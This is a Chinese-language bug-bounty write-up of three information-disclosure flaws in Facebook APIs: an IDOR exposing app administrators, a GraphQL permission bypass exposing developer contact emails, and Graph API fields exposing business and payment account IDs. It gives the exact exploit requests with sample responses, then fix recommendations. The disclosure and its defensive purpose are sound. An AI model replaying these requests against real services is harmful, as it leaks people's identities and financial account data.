挖洞经验 | Facebook接口存在的三个信息泄露漏洞
字数 1152 2025-08-18 11:39:23
Facebook接口信息泄露漏洞分析报告
漏洞概述
本报告详细分析了Facebook接口中存在的三个信息泄露漏洞,这些漏洞允许攻击者获取敏感信息,包括任意Facebook应用的管理员账号、开发者联系人邮箱以及商务用户账号ID。
漏洞1:获取任意Facebook应用的管理员账号
漏洞描述
在Facebook企业管理平台(Business Manager)中,存在一个IDOR(不安全的直接对象引用)漏洞,允许攻击者获取任意Facebook商务应用的管理员账号列表。
技术细节
- 漏洞类型:IDOR越权漏洞
- 影响范围:Facebook企业管理平台
- 漏洞位置:
/business/aymc_assets/admins/接口
漏洞利用方法
- 构造POST请求:
POST /business/aymc_assets/admins/ HTTP/1.1
Host: business.facebook.com
asset_ids[0]=TARGET_APP_ID
business_id=ATTACKER_BUSINESS_ID
- 服务器响应示例:
{
"__ar": 1,
"payload": {
"assetAdmins": {
"__imm": {
"method": "Map",
"value": [
{
"123456789": {
"name": "fname lname",
"id": "123456789",
"iconURI": "/images/assets_DO_NOT_HARDCODE/facebook_icons/badge-admin_outline_20_fds-black.png",
"isSelected": true,
"isSelectionDisabled": false,
"secondaryInfo": "FACEBOOK APP NAME"
}
},
// 更多管理员账号...
]
}
}
}
}
漏洞影响
- 泄露应用管理员完整列表
- 获取管理员真实姓名和Facebook ID
- 可能导致进一步的账户接管攻击
漏洞2:获取任意Facebook应用的开发者联系人邮箱
漏洞描述
通过将Graph API请求转换为GraphQL方式调用,可以绕过权限限制获取任意Facebook应用的开发者联系邮箱。
技术细节
- 漏洞类型:权限绕过
- 影响范围:Facebook开发者应用管理界面
- 漏洞位置:GraphQL接口
漏洞利用方法
- 构造GraphQL请求:
POST /graphql
Host: graph.facebook.com
q=nodes(35xxxxx28){name,contact_email}
- 服务器响应示例:
{
"35xxxxx28": {
"name": "Facebook Application Name",
"contact_email": "contact@company.com"
}
}
漏洞影响
- 泄露应用开发者联系邮箱
- 可能导致钓鱼攻击或社会工程攻击
- 暴露企业敏感联系信息
漏洞3:获取Facebook商务用户账号ID
漏洞描述
通过Graph API可以获取与Facebook应用相关的商务账号ID,包括敏感的payment_account_id字段。
技术细节
- 漏洞类型:信息泄露
- 影响范围:Facebook商务账号系统
- 漏洞位置:Graph API接口
漏洞利用方法
- 获取应用基本信息:
GET /v3.1/{application-id}/?fields=id,name,business
Host: graph.facebook.com
- 获取商务账号详细信息:
GET /v3.1/{business-id}/?fields=primary_page,payment_account_id
Host: graph.facebook.com
漏洞影响
- 泄露商务账号ID
- 泄露支付账户ID(敏感隐私信息)
- 可能导致财务欺诈或账户接管
修复建议
-
管理员账号泄露漏洞:
- 实施严格的权限检查
- 验证请求者是否有权访问目标资产
- 添加业务逻辑层面的访问控制
-
开发者邮箱泄露漏洞:
- 统一Graph API和GraphQL的权限模型
- 对敏感字段实施额外的访问控制
- 记录敏感信息的访问日志
-
商务账号ID泄露漏洞:
- 将
payment_account_id标记为敏感字段 - 实施更严格的访问控制策略
- 对商务账号相关API调用进行审计
- 将
总结
这三个漏洞展示了Facebook接口中不同类型的信息泄露风险,从IDOR漏洞到权限绕过再到敏感字段暴露。开发者在设计API时应特别注意:
- 实施严格的权限验证
- 统一不同接口的权限模型
- 对敏感信息进行特殊保护
- 定期进行安全审计和渗透测试